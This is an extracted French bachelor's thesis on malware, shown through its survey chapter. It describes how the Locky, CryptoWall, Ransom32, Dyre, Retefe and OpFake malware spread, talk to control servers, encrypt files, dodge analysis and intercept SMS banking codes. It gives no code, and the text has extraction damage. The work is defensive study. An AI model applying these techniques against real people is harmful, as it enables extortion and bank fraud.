analyse de maliciels - heig-vd

91
Analyse de maliciels (malwares) Benoˆ ıt Zuckschwerdt epartement TIC - Orientation TS Professeur Sylvain Pasini Expert Fabrice Caralinda 5 aoˆ ut 2016

Upload: khangminh22

Post on 04-May-2023

0 views

Category:

Documents


0 download

TRANSCRIPT

Analyse de maliciels (malwares)Benoıt Zuckschwerdt

Departement TIC - Orientation TS

Professeur Sylvain Pasini

Expert Fabrice Caralinda

5 aout 2016

Benoıt Zuckschwerdt

2

Chapitre 1

Cahier des charges

Sommaire1.1 Resume du probleme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.2 Objectifs pedagogiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

1.3 Objectifs techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

1.4 Taches a realiser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

1.5 Livrables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

3

1.1. RESUME DU PROBLEME Benoıt Zuckschwerdt

1.1 Resume du probleme

Les maliciels sont depuis longtemps presents et leur evolution ne cesse pas, nouvelles techniques,nouvelles plateformes et nouveaux objectifs. Les contre-mesures et les methodes d’analyse de ceux-cievoluent egalement en parallele.

L’objectif de ce travail est de passer en revue les differents maliciels s’attaquant actuellementa nos machines, ainsi que les contre-mesures existantes. On s’interessera plus particulierement a laplateforme Android, qui est actuellement tres touchee par les maliciels. Il sera interessant d’etudier lesmoyens d’infection et de propagation d’un maliciel qui tourne sur un systeme d’exploitation destineaux appareils mobiles, mais egalement de decouvrir quelles protections Android offre de manierenatives et comment les maliciels les contournent.

De plus en plus d’anti-virus font leur apparition sur cette plateforme, une simple recherche ”anti-virus” sur le marche des applications Google Play nous montre bien l’etendue du choix actuel [33].Mais que valent reellement ces applications de protection ?

Android est une plateforme tres attractive pour les maliciels : si on prend l’exemple du smartphonede Monsieur et Madame tout le monde, celui-ci contiendra certainement des mots de passe enregistres,des acces a des reseaux sociaux, a un compte de messagerie electronique et surement encore d’autresdonnees permettant l’authentification.

Hormis les utilisations malveillantes qu’on retrouve avec les maliciels touchant des postes detravail ou des serveurs, un acces a toutes les ressources d’un smartphone peut permettre beaucoupd’autres utilisations malveillantes propres aux appareils mobiles, comme par exemple : l’espionnagedes appels/SMS, l’envoi d’SMS surtaxes, les appels surtaxes, l’utilisation de la technologie NFC pourlire des cartes de credit munies du paiement sans contact ou encore la propagation du maliciel viades MMS. On peut egalement mettre en avant le fait que certaines utilisations malveillantes peuventetre bien plus interessantes a effectuer sur un smartphone, notamment l’enregistrement audio ou lageolocalisation. En effet, vu que l’utilisateur a constament son smartphone a portee de main, ce typed’espionnage peut s’averer redoutable.

Lors de ce travail nous verrons donc comment il est possible d’analyser un maliciel Android demaniere statique et de maniere dynamique, puis nous appliquerons cette methodologie a un malicielchoisi. Finalement, si le temps le permet, il serait tres instructif de pouvoir aller encore plus loindans la pratique en mettant en place son propre maliciel.

1.2 Objectifs pedagogiques

La realisation de ce travail permettra a l’etudiant de :

— planifier un projet,— se montrer autodidacte,— travailler de maniere autonome,— utiliser et de mettre en avant les notions acquises lors de la formation, majoritairement la

securite de l’information et le developpement logiciel,— presenter et valoriser son travail.

4

CHAPITRE 1. CAHIER DES CHARGES Benoıt Zuckschwerdt

1.3 Objectifs techniques

L’etudiant devra :— realiser une etude des tendances des maliciels pour les annees 2015-2016 pour les systemes

d’exploitation les plus utilises,— decrire les methodologies d’analyse de maliciels sous Android,— realiser une analyse detaillee d’un maliciel Android,— mettre en place un maliciel Android

1.4 Taches a realiser

— Etude des tendances des maliciels pour les annees 2015-2016 (tous systemes d’exploitation)• Descriptions de maliciels actuels

— Propagation— Fonctionnement

• Mise en evidence des plateformes les plus touchees et les types de maliciels les plus rependus• Vecteurs d’infection les plus rependus sur Android

— Methodologies d’analyse de maliciels sous Android• Etude approfondie de l’environnement Android• Presentation des outils• Presentation des services• Description des techniques d’isolation d’un maliciel Android dans un but d’analyse• Identifier les contre-mesures actuelles

— Analyse d’un maliciel Android• Choisir un maliciel Android• Decrire ses objectifs, son histoire (si connue), ses cibles et ses impacts• Analyser le fonctionnement de ce maliciel de maniere statique et dynamique

— Mise en place d’un maliciel Android• Repackagingd’une application legitime• Exfiltrage d’informations• Developpement du maliciel• Mise en pratique et demonstration du maliciel

1.5 Livrables

— Une etude des tendances des maliciels pour les annees 2015-2016 (tous systemes d’exploitation)— Un rapport des methodologies d’analyse de maliciels sous Android— Un rapport d’analyse d’un maliciel Android— La mise en place d’un maliciel Android

5

1.5. LIVRABLES Benoıt Zuckschwerdt

6

Table des matieres

1 Cahier des charges 31.1 Resume du probleme . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.2 Objectifs pedagogiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41.3 Objectifs techniques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.4 Taches a realiser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.5 Livrables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

2 Etude des tendances de maliciels 2015-16 112.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122.2 Locky . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122.3 CryptoWall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152.4 Ransom32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192.5 Dyre . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 212.6 Retefe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222.7 OpFake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232.8 Resume . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242.9 Statistiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 242.10 Sondage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

3 Contre-mesures 313.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323.2 Prevention aupres des utilisateurs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323.3 Anti-virus . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323.4 Antivol . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 323.5 Pare-feu . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 333.6 Securite WiFi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343.7 Sauvegardes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 343.8 Bonnes habitudes pour Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

4 Methodologie d’analyse sous Android 354.1 Environnement Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 374.2 Vecteurs d’infection sous Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 414.3 Outils . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 444.4 Services en ligne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 474.5 Isolation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 514.6 Techniques d’anti-analyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 53

7

TABLE DES MATIERES Benoıt Zuckschwerdt

4.7 Base de donnees de maliciels . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54

5 Analyse statique de Simplocker 555.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 565.2 Analyse des fichiers et ressources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 575.3 Services en ligne . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 585.4 Decompilation de Simplocker.A avec JD Project . . . . . . . . . . . . . . . . . . . . . 605.5 Decompilation de Simplocker.B avec JD Project . . . . . . . . . . . . . . . . . . . . . 62

6 Analyse dynamique de Simplocker 656.1 Environnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 666.2 Analyse manuelle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 666.3 Analyse avec DroidBox . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68

7 Code malveillant sous Android 717.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 727.2 Charge . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 727.3 Serveur distant . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 727.4 Repackaging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 737.5 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 79

8 Conclusion 818.1 Technique . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 828.2 Personnelle . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82

9 Liste des symboles et abreviations utilises 83

A Plannification 91

8

TABLE DES MATIERES Benoıt Zuckschwerdt

Resume

La motivation principale de ce travail de bachelor est de se familiariser avec la securite mobilesur Android afin d’etre capable de comprendre les risques, les prevenir et de pouvoir decortiquer lesmaliciels.

Pour se faire, un etat de l’art des techniques des auteurs de maliciels, des enjeux en place etdes risques pour les utilisateurs a ete realise en etudiants plusieurs maliciels actifs durant les annees2015 et 2016. Ce qui permet deja se faire une bonne idee des pratiques actuellement utilises par lesauteurs de codes malveillants, que ca soit sous Android ou une autre plate-forme. Pour mettre enavant les habitudes et connaissances des utilisateurs, un sondage a ete effectues au pres d’environ200 participants. Un chapitre a egalement ete dedie aux contre-mesures pour Android, celui-ci decritla mise en place de solution de securite, mais aussi la preventions au pres des utilisateurs. Commevous pourrez le voir dans ces premiers chapitres. Le role de l’utilisateur est souvent tres importantde le processus d’infection de la machine.

Dans un second temps, l’environnement et le developpement Android ont ete etudies et decritsafin de pouvoir aborder l’analyse de code malveillant sur cette meme plate-forme. Cette methodologied’analyse sous Android passe par differents outils, services et connaissances.

Ensuite, une mise en pratique de l’analyse a ete realisee sur un ransomeware utilisant qui utilisele chiffrement pour prendre en otage les fichiers de la victime et qui a surtout ete actif en 2014. Nousaurons l’occasion d’etudier son code dans une phase d’analyse statique, puis d’etudier son executionlors de la phase d’analyse dynamique. Un environnement cree a ete deploye dans ce but.

Finalement, le developpement d’un code malveillant sous Android a ete realise. Ce code exploiteun des vecteurs d’infection les plus utilises sur cette plate-forme, c’est-a-dire, l’ajout d’une chargemalveillante dans une application legitime et la distribution de celle-ci. Cet exemple permet egalementde mettre en avant les possibilites de recolte d’informations sans que l’utilisateur en soit alerte.

9

TABLE DES MATIERES Benoıt Zuckschwerdt

Introduction

A l’heure actuelle les smartphones sont omnipresents, en effet avec plus d’un millard de smart-phones Android dans le monde, les ventes de smartphones depassent actuellement celles des ordina-teurs de bureau.

L’utilisation des smartphones est desormais tres variee (leurs fonctionnalites vont de la telephonieclassique a la navigation GPS en passant par les jeux video). On a a present affaire a de vrai ordinateurde poche. Leur puissance de calcul ainsi que leurs composants ne cessent de croıtre. Ce nombresd’utilisateurs et ces evolutions technologiques vont de pair avec les maliciels les visant.

Depuis plusieurs annees deja l’informatique est partout, les utilisateurs sont obliges d’etre confrontesa la securite de l’information sur leurs ordinateurs de bureau. La plupart auront deja quelquesconnaissances de basse et seront deja sensibilises a certains risques. Mais, cette prise de consciencedois desormais egalement etendue a nos smartphones. Beaucoup d’utilisateurs ne comprennent pasou ne se rendent pas compte des risques auquelles ils peuvent etre exposes. Ces risques peuvent etrecritiques, plus l’on ajoutera des fonctionnalites aux smartphones, plus au augmentera les risques,c’est le cas par exemple pour le paiement sans contacte qui vient de faire sont apparition ou pourtoutes les autres operations liees a l’argent que l’on peut deja effectuer depuis son smartphone.

Contrairement a l’ordinateur de bureau, notre smartphone nous suit partout et recolte des donneesd’un nouveau type grace a des fonctionnalites qui lui sont propres, comme la telephonie ou encorela localisation GPS. C’est pourquoi la securite de l’information dans le domaine du mobile se doıtd’etre presente et a jour.

Ce travail a donc pour objectif de mettre en avant les techniques et methodes actuellementutilisees par les auteurs de maliciels et celles utilisees par les analystes dans le but final de diminuerles risques pour les utilisateurs.

10

Chapitre 2

Etude des tendances de maliciels2015-16

Sommaire2.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

2.2 Locky . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

2.2.1 Propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12

2.2.2 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

2.3 CryptoWall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2.3.1 Propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2.3.2 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2.4 Ransom32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

2.4.1 Propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

2.4.2 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19

2.5 Dyre . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

2.5.1 Propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

2.5.2 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21

2.6 Retefe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

2.7 OpFake . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

2.7.1 Propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

2.7.2 Fonctionnement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23

2.8 Resume . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

2.9 Statistiques . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24

2.10 Sondage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27

11

2.1. INTRODUCTION Benoıt Zuckschwerdt

2.1 Introduction

Afin de realiser cette etude des tendances, plusieurs maliciels actifs durant les annees 2015 et 2016ont ete choisis, Il s’agit d’une selection dans le but de presenter des maliciels aux objectifs varies etegalement des maliciels ayant un impact important.

2.2 Locky

Locky est un ransomware recent, qui a fait son apparition le 16 fevrier 2016. Il s’est repandurapidement grace a une campagne aggressive [39]. Ce maliciel touche les systemes d’exploitationWindows.

2.2.1 Propagation

Locky se propage par email laissant croire a une facture (en piece-jointe) a payer (figure 2.1).La facture est un document Word contenant un macro malveillant. Si ce celui-ci est execute, celainstallera Locky sur la machine.

Figure 2.1 – Locky - Email de propagation

Symantec a declare avoir bloque 5 millions d’emails associes a cette campagne juste le 17 fevrier[39].

12

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.2.2 Fonctionnement

Le macro va telecharger et lancer un executable, celui-ci va se copier dans user\AppData\Local\Temp\svchost.exe, puis supprimer l’executable du dossier ou il a ete lance [37].

Le maliciel va commencer a communiquer avec un C&C via des requetes HTTP POST. Lesadresses IP des serveurs en question sont stockees en dur dans le maliciel. Une cle unique est creepour identifier la victime. Cette cle est un hash MD5 tronque (16 octets), compose d’informationsqui sont propres a la machine.

Locky utilise 3 commandes :

— getkey (initialisation et recuperation d’une cle publique RSA)— gettext (recuperation du texte de la rancon)— stats (envoie de statistiques sur les fichiers chiffres)

Getkey va envoyer la langue utilisee, la version de Windows et l’architecture du processeur, puisrecevoir en retour une cle publique RSA de 2048 octets. Gettext va envoyer la langue utilisee etrecevoir le texte qui sera affiche pour la demande de rancon. Stats va envoyer le nombre de fichierschiffres et le nombre de fichiers qui n’ont pas pu etre chiffres pour chaque dossier.

Pour chaque fichier chiffre, une cle AES est generee, ces cles seront chiffrees avec la cle pu-blique RSA recue par le serveur C&C. Des statistiques concernant les fichiers chiffres sont collectees,chiffrees, puis envoyees au C&C.

Finalement, la demande de rancon est affichee, elle contient l’adresse d’un service cache Tor, oul’utilisateur devra payer 0.5 BTC (environ 200 CHF au cours d’aujourd’hui) pour pouvoir obtenirun logiciel de dechiffrement possedant la cle privee RSA necessaire au dechiffrement des fichiers [21].

Figure 2.2 – Rancon de Locky mise en fond d’ecran [21].

13

2.2. LOCKY Benoıt Zuckschwerdt

Figure 2.3 – Service cache Tor utilise par les auteurs de Locky [21].

14

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.3 CryptoWall

CryptoWall est un ransomware bien connu, touchant les systemes Windows. Son impact est tresconsequent et on estime la somme totale des dommages engendres par ce maliciel a plusieurs centainesde millions de dollars [1].

La premiere version date de 2013. Depuis plusieurs autres versions sont apparues, rendant chaquefois le fonctionnement du maliciel plus solide.

Exemples d’amelioration [28] :— Utilisation de chiffrement asymetrique pour que les cles de dechiffrement ne soient pas presentes

sur la machine.— Utilisation de chiffrement symetrique couple a un chiffrement asymetrique pour augmenter les

performances.

On s’interessera ici a la version 3 de CryptoWall apparue en 2015.

2.3.1 Propagation

CryptoWall 3 s’est propage essentiellement via des emails (67.3%) et des kits d’exploits (30.7%)[1].

Par email, l’utilisateur recoit un message avec une piece jointe, celle-ci est zippee pour diminuerles risques de detection. L’archive contient un executable, soit sous la forme *.exe, ou *.scr quiest le format de fichier Microsoft SCReensaver. C’est une tactique souvent utilisee pour executer ducode, car ces fichiers agiront comme un executable classique. L’icone et l’extension de l’executablesont egalement modifiees pour faire croire a un fichier legitime (PDF ou fichiers de la suite MicrosoftOffice).

La propagation par des exploits est faite majoritairement avec le Angler Kit, il s’agit d’un kitd’exploit avance permettant d’infecter des machines en exploitant plusieurs vulnerabilites. L’utilisa-teur visitant un serveur malveillant hebergeant Angler sera attaque par ces differents exploits un parun [40].

2.3.2 Fonctionnement

Cette partie est basee sur le document suivant [1].

Le maliciel va creer un cle unique servant a identifier la machine infecte, cette cle est un hash MD5compose du nom de l’ordinateur, du numero de serie du volume, d’informations sur le processeur etde la version du systeme d’exploitation.

Le maliciel va ensuite commencer une communication avec un serveur compromis, les premieresinformations envoyees seront :

— L’identifiant de la commande— L’identifiant de la campagne de propagation— Le hash unique— L’identifiant du systeme d’exploitation (0 si l’OS n’est pas supporte),— L’architecture du processeur (1 pour 32-bits, 2 pour 64-bits)

15

2.3. CRYPTOWALL Benoıt Zuckschwerdt

— Les privileges du processus (1 si ils ne sont pas eleves, 2 sinon)— L’adresse IP externe de la machine infectee

Apres que le serveur ait repondu a la commande 1, le client renverra une requete composee de :

— L’identifiant de la commande (7)— L’identifiant de la campagne de propagation— Le hash unique— L’identifiant de la sous-commande (1)

Le reponse du serveur contiendra :

— Un temps d’attente (en seconde)— Une adresse Tor— L’identifiant de la victime— Le code du pays de la victime— Une cle publique RSA

Le maliciel verifiera que le code du pays de ne correspond pas aux pays suivants :

— Bielorussie— Ukraine— Russie— Kazakstan— Armenie— Serbie— Iran

Si c’est le cas le maliciel se desinstalle. Cela montre que les auteurs de ce maliciels operentcertainement dans l’est de l’Europe.

Le client envoie a nouveau une commande de type 7 compose de :

— L’identifiant de la commande (7)— L’identifiant de la campagne de propagation— Le hash unique— L’identifiant de la sous-commande (2)— Un hash MD5 de la cle publique recue

La reponse recue est une image PNG servant a informer la victime de la demande de rancon. Leclient va ensuite chiffrer les fichiers et renvoyer au serveur le nombre de fichiers qui ont ete chiffres.

Pour trouver quels fichiers seront chiffres, le maliciel va d’abord chercher les lecteurs logiques (ilignorera les CD-ROMs), puis parcourir tous les fichiers, sauf ceux qui font partie d’une liste noire, ils’agit majoritairement des repertoires sytemes et ceux des programmes, de cette maniere le systemepourra toujours etre utilise et seul les fichiers appartenant a l’utilisteurs seront chiffres. Lorsqu’unfichier est trouve, si son extension fait partie d’une liste donnee celui-ci sera chiffre.

Pour chaque fichier selectionne, le maliciel generera une cle unique AES de 256 octets, il utiliseracette cle pour chiffrer le fichier, puis il chiffrera cette cle avec la cle publique RSA.

16

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

Les cles AES chiffrees seront placees dans les fichiers chiffres, avec egalement le hash MD5 de la clepublique RSA.

Une fois que le fichier est chiffre, le maliciel placera plusieurs fichiers servant a donner les ins-tructions pour payer la rancon. A noter que si le repertoire en question est le Bureau, ces fichiers neseront pas crees pour eviter que l’utilisateur remarque que le maliciel tourne.

Une fois tous les fichiers chiffres, le maliciel ouvrira automatiquement les instructions de rancon.

Figure 2.4 – CryptoWall 3 - Note de rancon [28].

Comme on peut le voir sur la figure 2.4, l’utilisateur est invite a installer Tor et a se rendre surun service cache sur lequel un espace a ete concu pour cette victime (personal code).

17

2.3. CRYPTOWALL Benoıt Zuckschwerdt

Une fois sur le service cache, un captcha sera demande, puis de nouvelles instructions sur commentpayer en Bitcoins et un avertissement que le prix augmentera si la rancon n’est pas payee avant lafin du compteur (voir figure 2.5).

Figure 2.5 – CryptoWall 3 - Instructions [28].

18

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.4 Ransom32

Ransom32 est le premier ransomware ecrit en JavaScript. Il fonctionne comme la plupart desautres, il prend en otage les fichiers de l’utilisateur en les chiffrant et demande une rancon pour pou-voir dechiffrer ses fichiers. Ce qui rend ce maliciel unique c’est le choix du langage de programmation.

Du aux technologies utilisees, Ransom32 pourrait etre porte sur OS X ou encore sur les distri-butions Linux, mais aucun package visant un systeme autre que Windows n’a ete detecte pour lemoment. Il semblerait donc qu’il s’agirait d’un maliciel touchant uniquement Windows [43].

2.4.1 Propagation

Ransom32 semble se propager uniquement par email. La victime recoit un email avec une piecejointe contenant le maliciel sous le format *.src (Microsoft SCReensaver), qui agit comme unexecutable classique [14]. Pour inciter la victime a ouvrir la piece jointe, l’email se fait passer pourune fausse facture, ou une autre tromperie similaire.

2.4.2 Fonctionnement

Cette partie est essentiellement base sur le document suivant [43].

Une fois que Ransom32 est execute, il decompressera tous ces fichiers dans le repertoire temp\, ilse copiera ensuite dans le repertoire %AppData%\ChromeBrowser. Il placera egalement un executabledans le dossier de demarrage de l’utilisateur, permettant ainsi au maliciel d’etre execute a chaquedemarrage du systeme. Cet executable lancera une connexion au serveur C&C, la connexion est faitevia un client Tor et le serveur C&C est un service cache Tor. Le serveur C&C livrera au client l’adresseBitcoin qui servira a payer la rancon, ainsi qu’une cle publique de chiffrement qui sera utilisee par leclient pour chiffrer les cles cryptographiques qui seront generees par le client pour chiffrer les fichiersde l’utilisateur.

Pour savoir quels fichiers doivent etre chiffres, le maliciel se base sur les extensions de fichierssuivant une liste donnee, il ne chiffrera pas non plus les fichiers contenu dans des repertoires destinesau systeme ou aux programmes comme :

— :\Windows\

— :\winn\

— boot\

— programdata\

— temp\

— tmp\

— $recycle.bin\

Les fichiers sont chiffres avec l’algorithme AES. Une nouvelle cle est generee pour chaque fichier.Les cles AES sont chiffrees avec la cle publique recue lors de la communication avec le C&C. Une foiscette cle chiffree elle est placee dans le fichier lie. Pour prouver que les fichiers peuvent reellementetre recuperes, le maliciel propose de dechiffrer un fichier, pour ce faire le client envoie la cle AESchiffree au C&C et obtient en retour la cle dechiffree.

19

2.4. RANSOM32 Benoıt Zuckschwerdt

Figure 2.6 – Ransom32 - Note de rancon

Pour finir le fait que ce maliciel soit du JavaScript compile rend la taille du maliciel tres grande(plus de 20Mo), mais offre aux attaquants une meilleure protection a leur maliciel, du au manqued’outils d’analyse adequats [22].

20

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.5 Dyre

Dyre est a la base un maliciel visant les banques, mais il ne s’attaque pas uniquement aux banques.Ce maliciel s’attaque egalement aux moyens de paiements electroniques et recolte des informationspersonnelles sur la victime, il peut egalement installer d’autres maliciels sur la machine, il se peutque les auteurs proposent l’installation de maliciels sur les machines infectees contre de l’argent [41].

2.5.1 Propagation

Dyre se propage par email avec un maliciel en piece jointe. L’email fait mention d’une factureou d’un document similaire pour pousser l’utilisateur a ouvrir la piece jointe [41] [16]. Lorsqu’unemachine est infectee, d’autres emails contenant ce maliciel sont envoyes aux contacts de la victimevia le compte email de la victime [17].

Le maliciel en piece jointe n’est pas Dyre, mais Upatre, il s’agit d’un maliciel tres leger qui a pourbut d’installer d’autres maliciels sur la machines. Il va d’abord recolter plusieurs informations sur lesysteme (nom de la machine, version du systeme d’exploitation et adresse IP externe), les envoyer aun serveur, puis verifier si des logiciels de securite sont presents et essayer de les desactiver.Finalement Upatre va telecharger un binaire chiffre de Dyre, le dechiffrer et l’installer [41].

2.5.2 Fonctionnement

Cette partie est essentiellement basee sur le document suivant [41].

Dyre s’attaque aux navigateurs Web les plus repandus (Internet Explorer, Firefox et Chrome)pour voler des informations sensibles (login, mot de passe, etc.). Il utilise differentes attaques MITB(Man-In-The-Browser) pour arriver a ses fins.

Lorsque la victime se rend sur un site, soit une fausse page ou une redirection est envoyee auclient depuis un serveur compromis, soit la page du site est envoyee a un serveur compromis, modifieeavec du code malveillant, puis renvoyee au client. De cette maniere les attaquants peuvent voler lesidentifiants d’authentification ou forcer le client a effectuer des actions contre le gre de l’utilisateur.

Dyre embarque egalement d’autres fonctionnalites permettant aux attaquants de prendre lecontrole de la machine a distance (comme VNC) ou encore d’utiliser la machine infectee commerelai.

Avec toutes ces possibilites, les auteurs de ce maliciel peuvent s’attaquer a beaucoup de banques(plus de 1000 d’entre elles sont ciblees) et organisations differentes et ainsi vider les comptes enbanque de leurs victimes.

A noter egalement que ce maliciel possede plusieurs protections anti-analyse :

— Anti-emulation— Packing et compression— Chiffrement des communications

21

2.6. RETEFE Benoıt Zuckschwerdt

2.6 Retefe

Retefe est un maliciel visant les portails d’e-banking, il est diffuse par courriel, principalementsous forme de fausses factures d’e-commerce. Si l’utilisateur ouvre l’executable mis en piece jointe,la machine est infectee et le maliciel va modifier les parametres d’Internet Explorer pour que lessites des portails d’e-banking cibles soient rediriges vers un serveur compromis. Afin que l’utilisateurne remarque pas que la connexion au portail d’e-banking est fausse, un certificat racine falsifie estinstalle, il est donc possible pour Retefe de delivrer des certificats pour n’importe quelle entite [16].

Lorsque l’utilisateur cherche a se connecter sur son portail d’e-banking, un QR code lui est affiche,l’invitant a installer une application Android qui a pour but de lire et transmettre le code de securiteSMS envoye par la banque, une fois cette donnee recueillie, les attaquants peuvent acceder au comptede la victime [16].

Ce maliciel vise donc les banques ayant une authentification a deux facteurs : Mot de passe etcode envoye par SMS.

22

CHAPITRE 2. ETUDE DES TENDANCES DE MALICIELS 2015-16 Benoıt Zuckschwerdt

2.7 OpFake

OpFake est un maliciel Android existant sous plusieurs variantes. Il utilise la fonctionnalite SMSpour atteindre des services surtaxes ou encore extrader des informations sensibles. Il peut egalementintercepter les SMS, extrader des donnees via HTTP et installer d’autres maliciels Android.

Ce descriptif est bases sur les documents suivants [36] [30].

2.7.1 Propagation

Ce maliciel est delivre via des attaques de SMiShing, il s’agit de SMS dupant l’utilisateur pour qu’ileffectue une action dans l’interet de l’attaquant. Ici le message pretend qu’il s’agit d’une applicationlegitime et attractive, poussant ainsi l’utilisateur a l’installer.

2.7.2 Fonctionnement

Lorsque ce maliciel est execute, il va en premier lieu cacher son icone, puis s’inscrire a un compteParse Push Notifications qui servira de C&C (http://parse.com/), et finalement extrader des in-formations sur le mobile a un autre serveur C&C :

— IMEI (IMEI est un numero representant l’identite internationale de l’equipement mobile)— Pays (selon la carte SIM)— Numero de telephone— Nom de l’operateur— Le solde de l’utilisateur

Une alarme systeme est ensuite reglee pour toutes les minutes afin de recuperer les commandesaupres des C&C.

Les actions possibles sont les suivantes :

— Envoi de SMS— Envoi d’un message USSD (Unstructered Supplementary Service Data)— Ouvrir une URL avec le navigateur par defaut— Reception d’une nouvelle URL pour le C&C— Telechargement d’un fichier APK et installation de celui-ci

Si le telephone est roote, l’installation d’une application sera faite sans que l’utilisateur la re-marque en utilisant la commande ”pm install”, dans le cas inverse, le maliciel trompera l’utilisateurafin de le pousser a installer l’application.

Ce genre de maliciels permet aux attaquants d’intercepter les SMS bancaires utilises commefacteur d’authentification supplementaire pour acceder aux plateformes d’e-banking, on constateegalement que si le telephone est roote, les possibilites sont plus larges et les actions plus furtives.

23

2.8. RESUME Benoıt Zuckschwerdt

2.8 Resume

Syst

eme

cib

le

Ran

som

ware

Ban

cair

e

Pro

tect

ion

san

ti-a

naly

se

Vol

d’i

nfo

rmat

ion

s

Pro

paga

tion

par

SM

S

Pro

paga

tion

par

mai

l

Pro

paga

tion

avec

des

exp

loit

s

Locky Windows 3 3CryptoWall Windows 3 3 3Ransom32 Windows 3 3Dyre Windows 3 3 3 3

Mal

icie

ls

Retefe Windows 3 3 3OpFake Android 3 3 3

Table 2.1 – Caracteristiques des maliciels

2.9 Statistiques

